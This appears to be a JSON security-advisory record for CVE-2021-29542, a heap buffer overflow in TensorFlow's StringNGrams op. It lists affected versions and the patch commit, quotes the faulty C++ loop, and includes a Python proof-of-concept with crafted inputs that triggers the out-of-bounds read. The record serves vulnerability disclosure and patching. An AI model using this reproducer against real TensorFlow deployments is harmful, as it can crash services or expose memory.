{"id":"GHSA-4hrh-9vmp-2jgg","summary":"Heap buffer overflow in `StringNGrams`","details":"### Impact\nAn attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\nseparator = b'\\x02\\x00'    \nngram_widths = [7, 6, 11]\nleft_pad = b'\\x7f\\x7f\\x7f\\x7f\\x7f'\nright_pad = b'\\x7f\\x7f\\x25\\x5d\\x53\\x74'\npad_width = 50\npreserve_short_sequences = True\n  \nl = ['', '', '', '', '', '', '', '', '', '', '']\n  \ndata = tf.constant(l, shape=[11], dtype=tf.string)\n  \nl2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 3]\ndata_splits = tf.constant(l2, shape=[116], dtype=tf.int64)\n\nout = tf.raw_ops.StringNGrams(data=data,\n    data_splits=data_splits, separator=separator,\n    ngram_widths=ngram_widths, left_pad=left_pad,\n    right_pad=right_pad, pad_width=pad_width,\n    preserve_short_sequences=preserve_short_sequences)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:\n  \n```cc\nfor (int ngram_index = 0; ngram_index \u003c num_ngrams; ++ngram_index) {\n  int pad_width = get_pad_width(ngram_width);\n  int left_padding = std::max(0, pad_width - ngram_index);\n  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));\n  int num_tokens = ngram_width - (left_padding + right_padding);\n  int data_start_index = left_padding \u003e 0 ? 0 : ngram_index - pad_width;\n  ...\n  tstring* ngram = &output[ngram_index];\n  ngram-\u003ereserve(ngram_size);\n  for (int n = 0; n \u003c left_padding; ++n) {\n    ngram-\u003eappend(left_pad_);\n    ngram-\u003eappend(separator_);\n  }\n  for (int n = 0; n \u003c num_tokens - 1; ++n) {\n    ngram-\u003eappend(data[data_start_index + n]);\n    ngram-\u003eappend(separator_);\n  }\n  ngram-\u003eappend(data[data_start_index + num_tokens - 1]); // \u003c\u003c\u003c\n  for (int n = 0; n \u003c right_padding; ++n) {\n    ngram-\u003eappend(separator_);\n    ngram-\u003eappend(right_pad_);\n  }\n  ...\n}\n```\n\nIf input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","aliases":["BIT-tensorflow-2021-29542","CVE-2021-29542","PYSEC-2021-179","PYSEC-2021-470","PYSEC-2021-668"],"modified":"2026-07-08T06:28:43.460788657Z","published":"2021-05-21T14:23:15Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2021-05-18T21:54:20Z","nvd_published_at":"2021-05-14T20:15:00Z","cwe_ids":["CWE-131","CWE-787"]},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29542"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-4hrh-9vmp-2jgg/GHSA-4hrh-9vmp-2jgg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}